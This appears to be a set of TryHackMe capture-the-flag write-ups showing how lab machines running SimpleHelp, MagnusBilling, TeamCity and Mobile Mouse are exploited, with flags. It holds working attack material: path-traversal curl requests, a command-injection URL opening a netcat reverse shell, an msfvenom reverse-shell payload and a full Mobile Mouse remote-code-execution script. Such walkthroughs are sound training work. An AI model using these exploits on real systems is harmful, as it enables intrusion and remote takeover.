# Try Hack Me Write-ups

Solutions to some Try Hack Me

# Try Hack Me/SimpleHelp

#### **Write-up / [THM / SimpleHelp: CVE-2024-57727](https://tryhackme.com/room/simplehelpcve202457727 "SimpleHelp")** 

##### by: alfreddgreat

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/scaled-1680-/jPaieIf0hZ2NrXT1-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/jPaieIf0hZ2NrXT1-image.png)

<p class="callout info">Get the python script for POC for the vulnerability in https://github.com/imjdl/CVE-2024-57727.</p>

<p class="callout success">**root@ip-10-10-65-98:~# git clone [https://github.com/imjdl/CVE-2024-57727](https://github.com/imjdl/CVE-2024-57727)**</p>

<p class="callout info">Change directory to the downloaded CVE folder.</p>

<p class="callout success">**root@ip-10-10-65-98:~/CVE-2024-57727# cd CVE-2024-57727/**</p>

<p class="callout info">Run the following python script.</p>

<p class="callout success">**root@ip-10-10-65-98:~/CVE-2024-57727# python3 poc.py [http://10.10.32.37](http://10.10.32.37)** </p>

<p class="callout success">[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/scaled-1680-/jDACAYEoCObBXdAN-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/jDACAYEoCObBXdAN-image.png)</p>

<p class="callout info">Check the poc.py script</p>

```python
def send_path_traversal_request(url: str) -> bool:    """    Send a path traversal request and get the response        Args:        url (str): Target url address    Returns:        dict: Dictionary containing response information, including status code, response content, etc.        None: Returns None if request fails    """    url = url + "/toolbox-resource/../resource1/../../configuration/serverconfig.xml"    context = ssl._create_unverified_context()    # Default request headers    default_headers = {        'Accept-Encoding': 'gzip, deflate, br',        'Accept': '*/*',        'Connection': 'keep-alive'    }
```

<p class="callout success">**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is [http://10.10.32.37/toolbox-resource/../resource1/../../configuration/serverconfig.xml](http://10.10.32.37/toolbox-resource/../resource1/../../configuration/serverconfig.xml)**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/scaled-1680-/VNZaVfoUSgLGFahX-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-04/VNZaVfoUSgLGFahX-image.png)

<p class="callout success">**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/toolbox-resource/../resource1/../../configuration/flag.txt**</p>

```
root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.32.37/toolbox-resource/../resource1/../../configuration/flag.txt

THM{9ND23PVA}

"Choose your path wisely, but your shoes comfortably."

"Traverse lightly, laugh loudly."
```

<p class="callout danger">**THM{9ND23PVA}**</p>

<p class="callout success">**root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.189.219/toolbox-resource/../secmsg/../../configuration/flag.txt**  
</p>

```
root@ip-10-10-65-98:~/CVE-2024-57727# curl --path-as-is http://10.10.189.219/toolbox-resource/../secmsg/../../configuration/flag.txt

THM{X8733EEZ}


"Some paths are meant to be traversed; others just lead to a 404."

```

<p class="callout danger">**THM{X8733EEZ}**</p>

# Try Hack Me/Billing

#### **Write-up / [THM / Billing](https://tryhackme.com/room/billing "Billing")**

##### by:

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/KIYWoJFAZ0uOAJdt-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/KIYWoJFAZ0uOAJdt-image.png)

#####   


<p class="callout success">Start the Virtual Machine</p>

<p class="callout success">Run an **nmap** scan to the VM machine</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/oElpYY3OYbRQJpwW-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/oElpYY3OYbRQJpwW-image.png)

<p class="callout info">From the nmap scan: nmap -sS -sC -sV IP\_THM\_VM\_machine</p>

<p class="callout info">Ports 22, 80, and 3306 are open</p>

<p class="callout info">VM machine is a Debian Linux</p>

<p class="callout success">Connect to port 80 using a web browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/fotyM69sEEnaoFHZ-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/fotyM69sEEnaoFHZ-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/bq53ZGVvi6oKkBxN-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/bq53ZGVvi6oKkBxN-image.png)

nc -c sh 10.10.209.29 9001

10.10.233.21/mbilling/lib/icepay/icepay.php?democ=/dev/null; nc -c sh 10.10.209.29 9001

listen with nc

nc -lnvp 9001

```
python -c 'import os; os.system("/bin/sh")'
```

https://www.linkedin.com/pulse/linux-privesc-fail2ban-exploit-ahnaf-abrar-hasin/

[https://eldstal.se/advisories/230327-magnusbilling.html](https://eldstal.se/advisories/230327-magnusbilling.html)

[../](https://eldstal.se/) advisories/

## Security advisory

A command injection vulnerability exists in magnusbilling versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server.

### Affected products

magnusbilling 7 up to and including commit [7af21ed620](https://github.com/magnussolution/magnusbilling7/commit/7af21ed6203f80947a5df4a92df0be7a6aa158f9)

magnusbilling 6 (all versions)

### Steps to reproduce

The following proof of concept uses a harmless `sleep 30` command as a payload.

1. Visit `/mbilling/lib/icepay/icepay.php?democ=/dev/null;sleep%2030;ls%20a`
2. Observe that the page takes 30 seconds to load
3. Visit `/mbilling/lib/icepay/icepay.php?democ=/dev/null;sleep%203;ls%20a`
4. Observe that the page takes only 3 seconds to load

### Cause

A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to `exec()` at [line 753](https://github.com/magnussolution/magnusbilling7/blob/f6cd038161349895ff6f186405b9a89f564c9448/lib/icepay/icepay.php#L753). The parameter to `exec()` includes the GET parameter `democ`, which is controlled by the user.

### Impact

An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically `www-data`. At a minimum, this allows an attacker to compromise the billing system and its database.

### Proposed Mitigation

Remove the demo code from `icepay.php`.

### History

- 2023-06-26: CVE-2023-30258 assigned
- 2023-03-28: Initial report removed by maintainer
- 2023-03-27: Vulnerability [fixed](https://github.com/magnussolution/magnusbilling7/commit/ccff9f6370f530cc41ef7de2e31d7590a0fdb8c3)
- 2023-03-27: Vulnerability [reported](https://github.com/magnussolution/magnusbilling7/issues/627)

# Try Hack Me/Brains

#### **Write-up / [THM / Brains](https://tryhackme.com/r/room/brains "Brains")**

##### by: alfreddgreat

##### ![brains.webp](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/brains.webp)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/83w14zyTJYLhm3Gz-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/83w14zyTJYLhm3Gz-image.png)

<p class="callout success">Start the Virtual Machine</p>

<p class="callout success">Run an **nmap** scan to the VM machine</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/image.png)

<p class="callout info">From the nmap scan: nmap -sS -sC -sV IP\_THM\_VM\_machine</p>

<p class="callout info">Ports 22, 80, and 50000 are open</p>

<p class="callout info">VM machine is an Ubuntu Linux</p>

<p class="callout success">Connect to port 80 using a web browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0qYimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0qYimage.png)

<p class="callout info">In the result of the nmap, port 50000 is also open and observing the result it is an http server</p>

<p class="callout info">50000/tcp open ibm-db2?  
| fingerprint-strings:   
| GetRequest:   
| HTTP/1.1 401   
| TeamCity-Node-Id: MAIN\_SERVER  
| WWW-Authenticate: Basic realm="TeamCity"  
| WWW-Authenticate: Bearer realm="TeamCity"  
| Cache-Control: no-store  
| Content-Type: text/plain;charset=UTF-8  
| Date: Fri, 18 Oct 2024 01:48:03 GMT  
| Connection: close  
| Authentication required  
| login manually go to "/login.html" page  
| drda, ibm-db2, ibm-db2-das:   
| HTTP/1.1 400   
| Content-Type: text/html;charset=utf-8  
| Content-Language: en  
| Content-Length: 435  
| Date: Fri, 18 Oct 2024 01:48:03 GMT  
| Connection: close  
| &lt;!doctype html&gt;&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 400   
| Request&lt;/title&gt;&lt;style type="text/css"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 400   
</p>

<p class="callout info">TeamCity-Node-Id: MAIN\_SERVER</p>

<p class="callout success">Connect to port 50000 using the web browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/AjDimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/AjDimage.png)

<p class="callout info">The webserver has an application of Teamcity Version 2023.11.3 (build 147512)</p>

<p class="callout success">Search the vulnerability of the Teamcity version 2023.11.3 in internet.</p>

<p class="callout info">[https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Jwhimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Jwhimage.png)

<p class="callout info">The application Teamcity has a vulnerability of remote code execution (RCE)</p>

<p class="callout success">Check if the Teamcity vulnerability exist in the Metasploit Framework **CVE-2024-27198** and **CVE-2024-27199**</p>

<p class="callout success">**Run msfconsole**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/9KQimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/9KQimage.png)

<p class="callout info">Modules 3, 4, 5, 6, 7 and 8 can be used for the **CVE-2024-27198** but we don't know if the application in in java, windows, linux or unix.</p>

<p class="callout success">Detect the techniligy being used by the webserver using banner grabbing and we can use **WAPPALYZER**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0Jyimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0Jyimage.png)

<p class="callout info">In the **wappalyzer** you can observe that the Web Servers there is **Apache Tomcat** which means the application is running in **JAVA**.</p>

<p class="callout info">Therefore in the msfconsole, we will use module 4 which is **target: Java**</p>

<p class="callout success">**In the msfconsole: msf6 &gt; use 4**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0wcimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0wcimage.png)

<p class="callout success">Then run **options** to see what is needed in the exploit. The column **Required** with the yes are obligatory.</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **options**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/vKkimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/vKkimage.png)

<p class="callout info">The fields **RHOSTS**, **RPORT** should be filled up. And the **LHOST** should be the IP that can be reached by the VM Machine. Since the machine is in a VPN, the **LHOST** will be the VPN IP assigned to the Kali machine.</p>

<p class="callout success">Set the following values</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set RHOSTS 10.10.170.24**</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set RPORT 50000**</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **set LHOST 10.11.80.68**</p>

<p class="callout warning">Note: 10.10.170.24 is the THM-VM-Machine, 50000 is the Teamcity application port and 10.11.80.68 is the VPN IP of the Kali.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Dq0image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Dq0image.png)

<p class="callout success">Now check if the options are set successfully. Run the options command to see the set values.</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **options**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/sl5image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/sl5image.png)

<p class="callout success">Now we can run the exploit</p>

<p class="callout success">msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; **run -j**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/rpkimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/rpkimage.png)

<p class="callout success">If the prompt will not come out, press enter until the following comes out.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/aEAimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/aEAimage.png)

<p class="callout success">Then we run the sessions to see the session created</p>

<p class="callout info">**Meterpreter session 1 opened (10.11.80.68:4444 -&gt; 10.10.170.24:54368) at 2024-10-17 22:38:00 -0400**</p>

<p class="callout success">**msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; sessions**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/WKSimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/WKSimage.png)

<p class="callout info">There is 1 session created and connected to the target machine (THM-VM-machine).</p>

<p class="callout success">Connect to the session with the command **sessions 1**</p>

<p class="callout success">**msf6 exploit(multi/http/jetbrains\_teamcity\_rce\_cve\_2024\_27198) &gt; sessions 1**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/rUQimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/rUQimage.png)

<p class="callout info">Now we are inside the machine with the meterpreter shell. We can walk through using the meterpreter commands or by running the command shell.</p>

<p class="callout success">**meterpreter &gt; shell**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/jXhimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/jXhimage.png)

<p class="callout info">Now we are in the target shell command. To have a prompt run a shell like the following</p>

<p class="callout success">**/bin/bash -i**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Whrimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Whrimage.png)

<p class="callout info">Now we are inside the VM machine in the directory **/opt/teamcity/TeamCity/bin**</p>

<p class="callout info">The question to answer in **tryhackme.com** is the following</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/6G9image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/6G9image.png)

<p class="callout info">The needed flag is in the /home directory where a user exists.</p>

<p class="callout success">Change directory to /home directory to see who is the user: **ubuntu@brains:/opt/teamcity/TeamCity/bin$ cd /home** and then list the content of the directory with the **ls** command,</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/pFVimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/pFVimage.png)

<p class="callout info">The user is ubuntu.</p>

<p class="callout success">Change directory to the user directory and get the content of the **flag.txt** file.</p>

<p class="callout success">**ubuntu@brains:/home$ cd ubuntu**</p>

<p class="callout success">**ubuntu@brains:/home$ ls -l**</p>

<p class="callout success">**ubuntu@brains:/home$ cat flag.txt**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/0X4image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/0X4image.png)

<p class="callout danger">FLAG: **THM{faa9bac345709b6620a6200b484c7594}**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/scaled-1680-/Rcpimage.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-10/Rcpimage.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/qRbex3OWMcjQEAGv-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/qRbex3OWMcjQEAGv-image.png)

<p class="callout success">Connect to the machine 10.10.74.225 with port 8000 using a browser.</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/uUWI6iYbSob75ilJ-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/uUWI6iYbSob75ilJ-image.png)

# Try Hack Me/Mouse Trap

#### **Try Hack Me / [Mouse Trap](https://tryhackme.com/room/mousetrap "Mouse Trap")**

by: alfreddgreat

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2024-11/scaled-1680-/CDUIQl90ZROwA44L-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2024-11/CDUIQl90ZROwA44L-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/GQMkC4n9GGpXBQtn-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/GQMkC4n9GGpXBQtn-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/fZHB8tYYaXo1txla-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/fZHB8tYYaXo1txla-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/wmssfjxQvU5NXsBQ-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/wmssfjxQvU5NXsBQ-image.png)

<p class="callout success">root@ip-10-10-123-135:~# nmap -sS -sC -sV 10.10.162.0</p>

```shell
root@ip-10-10-123-135:~# nmap -sS -sC -sV -O 10.10.162.0
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-30 22:19 BST
Nmap scan report for 10.10.162.0
Host is up (0.00035s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: MOUSETRAP
|   NetBIOS_Domain_Name: MOUSETRAP
|   NetBIOS_Computer_Name: MOUSETRAP
|   DNS_Domain_Name: MOUSETRAP
|   DNS_Computer_Name: MOUSETRAP
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-30T21:22:42+00:00
| ssl-cert: Subject: commonName=MOUSETRAP
| Not valid before: 2024-12-08T13:53:36
|_Not valid after:  2025-06-09T13:53:36
|_ssl-date: 2025-03-30T21:23:10+00:00; 0s from scanner time.
9099/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.0 200 OK 
|     Server: Mobile Mouse Server 
|     Content-Type: text/html 
|     Content-Length: 326
|_    <HTML><HEAD><TITLE>Success!</TITLE><meta name="viewport" content="width=device-width,user-scalable=no" /></HEAD><BODY BGCOLOR=#000000><br><br><p style="font:12pt arial,geneva,sans-serif; text-align:center; color:green; font-weight:bold;" >The server running on "MOUSETRAP" was able to receive your request.</p></BODY></HTML>
9999/tcp open  abyss?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9099-TCP:V=7.80%I=7%D=3/30%Time=67E9B591%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1A7,"HTTP/1\.0\x20200\x20OK\x20\r\nServer:\x20Mobile\x20Mouse\
SF:x20Server\x20\r\nContent-Type:\x20text/html\x20\r\nContent-Length:\x203
SF:26\r\n\r\n<HTML><HEAD><TITLE>Success!</TITLE><meta\x20name=\"viewport\"
SF:\x20content=\"width=device-width,user-scalable=no\"\x20/></HEAD><BODY\x
SF:20BGCOLOR=#000000><br><br><p\x20style=\"font:12pt\x20arial,geneva,sans-
SF:serif;\x20text-align:center;\x20color:green;\x20font-weight:bold;\"\x20
SF:>The\x20server\x20running\x20on\x20\"MOUSETRAP\"\x20was\x20able\x20to\x
SF:20receive\x20your\x20request\.</p></BODY></HTML>\r\n")%r(FourOhFourRequ
SF:est,1A7,"HTTP/1\.0\x20200\x20OK\x20\r\nServer:\x20Mobile\x20Mouse\x20Se
SF:rver\x20\r\nContent-Type:\x20text/html\x20\r\nContent-Length:\x20326\r\
SF:n\r\n<HTML><HEAD><TITLE>Success!</TITLE><meta\x20name=\"viewport\"\x20c
SF:ontent=\"width=device-width,user-scalable=no\"\x20/></HEAD><BODY\x20BGC
SF:OLOR=#000000><br><br><p\x20style=\"font:12pt\x20arial,geneva,sans-serif
SF:;\x20text-align:center;\x20color:green;\x20font-weight:bold;\"\x20>The\
SF:x20server\x20running\x20on\x20\"MOUSETRAP\"\x20was\x20able\x20to\x20rec
SF:eive\x20your\x20request\.</p></BODY></HTML>\r\n");
MAC Address: 02:23:36:E3:FF:87 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=3/30%OT=135%CT=1%CU=37501%PV=Y%DS=1%DC=D%G=Y%M=022336%
OS:TM=67E9B63F%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=
OS:I%SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=
OS:M5B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF7
OS:0)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)

Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: MOUSETRAP, NetBIOS user: <unknown>, NetBIOS MAC: 02:23:36:e3:ff:87 (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-30T21:22:42
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.34 seconds

```

<p class="callout success">root@ip-10-10-123-135:~# nmap --script vuln 10.10.162.0</p>

```shell
root@ip-10-10-123-135:~# nmap --script vuln 10.10.162.0
Starting Nmap 7.80 ( https://nmap.org ) at 2025-03-30 22:04 BST
Nmap scan report for 10.10.162.0
Host is up (0.00025s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
135/tcp  open  msrpc
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp  open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp  open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3389/tcp open  ms-wbt-server
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
9099/tcp open  unknown
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
9999/tcp open  abyss
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 02:23:36:E3:FF:87 (Unknown)

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 59.82 seconds

```

<p class="callout info">Using port 9099 in the browser</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/DAt6BwYBHH2k9y4A-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/DAt6BwYBHH2k9y4A-image.png)

<p class="callout info">In the first port, version scan we see that there is a Mobile Mouse Server</p>

<p class="callout info">Search for an exploit in the internet and the following from github appears</p>

<p class="callout success">https://github.com/blue0x1/mobilemouse-exploit?tab=readme-ov-file</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/vSlfbK1wRHhUCuNO-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/vSlfbK1wRHhUCuNO-image.png)

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/hgZcjrTPWFEIje5y-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/hgZcjrTPWFEIje5y-image.png)

<p class="callout info">Using the V2 version: [CVE-2023-31902-v2.py](https://github.com/blue0x1/mobilemouse-exploit/blob/main/CVE-2023-31902-v2.py "CVE-2023-31902-v2.py")</p>

```python
# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution v2 
# Date: Apr 28, 2023
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mobilemouse.com/
# Software Link: https://www.mobilemouse.com/downloads/setup.exe
# Version: 3.6.0.4
# Tested on: Windows 10 Enterprise LTSC Build 17763

#!/usr/bin/env python3

import socket
from time import sleep
import argparse
import threading
from impacket import smbserver

def smb_server(lhost, file_to_serve):
    server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
    server.addShare("share", ".", "")
    server.start()

help = " Mobile Mouse 3.6.0.4 Remote Code Execution "
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--target", help="Target IP", required=True)
parser.add_argument("--file", help="File name to Upload", required=True)
parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")

args = parser.parse_args()

host = args.target
command_shell = args.file
lhost = args.lhost
port = 9099 # Default port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 256)
s.connect((host, port))


smb_server_thread = threading.Thread(target=smb_server, args=(lhost, command_shell))
smb_server_thread.start()

CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04")
s.send(CONN)
run = s.recv(54)

RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")
s.send(RUN)
run = s.recv(54)

sleep(0.5)

payload = f"cmd.exe /c start /B \\\\{lhost}\\share\\{command_shell}".encode('utf-8')
hex_payload = payload.hex()
SHELL = bytearray.fromhex("4B45591E3130301E" + hex_payload + "1E04" + "4b45591e2d311e454e5445521e04")
s.send(SHELL)
shell = s.recv(96)

print("Take The rose...")

sleep(30)
s.close()
```

<p class="callout info">Save the file to a **mousemobile.py** using the code above</p>

<p class="callout info">Now create an executable remote shell execution using the **msfvenom**.</p>

<p class="callout info">msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=&lt;IP&gt; LPORT=&lt;PORT&gt; -f exe &gt; shell-x64.exe</p>

<p class="callout success">**msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=IP\_LOCAL\_MACHINE LPORT=PORT\_LOCAL -f exe &gt; shell-x64.exe**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/K11cy9Ka8BoVAAJ4-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/K11cy9Ka8BoVAAJ4-image.png)

<p class="callout info">Using the **mousemobile.py** and using the **shell-x64.exe** as the code to be executed.</p>

<p class="callout info">Take note that shell-x64.exe has been created using port 446</p>

<p class="callout info">First open a terminal and run the following command</p>

<p class="callout success">**nc -lnvp 446**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/zXJkgOxjWAAtrfvY-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/zXJkgOxjWAAtrfvY-image.png)

<p class="callout info">Leave it open and open another terminal and now we will exploit the mouse application using the python script.</p>

<p class="callout success">**python3 mousemobile.py --target 10.10.162.0 --lhost 10.10.123.135 --file shell-x64.exe**</p>

[![image.png](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/scaled-1680-/QHG4kY8IdiABAEJr-image.png)](https://nacinocomputernetworks.com/uploads/images/gallery/2025-03/QHG4kY8IdiABAEJr-image.png)

<p class="callout info">Now with the first terminal where netcat is opened, it should have connected.</p>

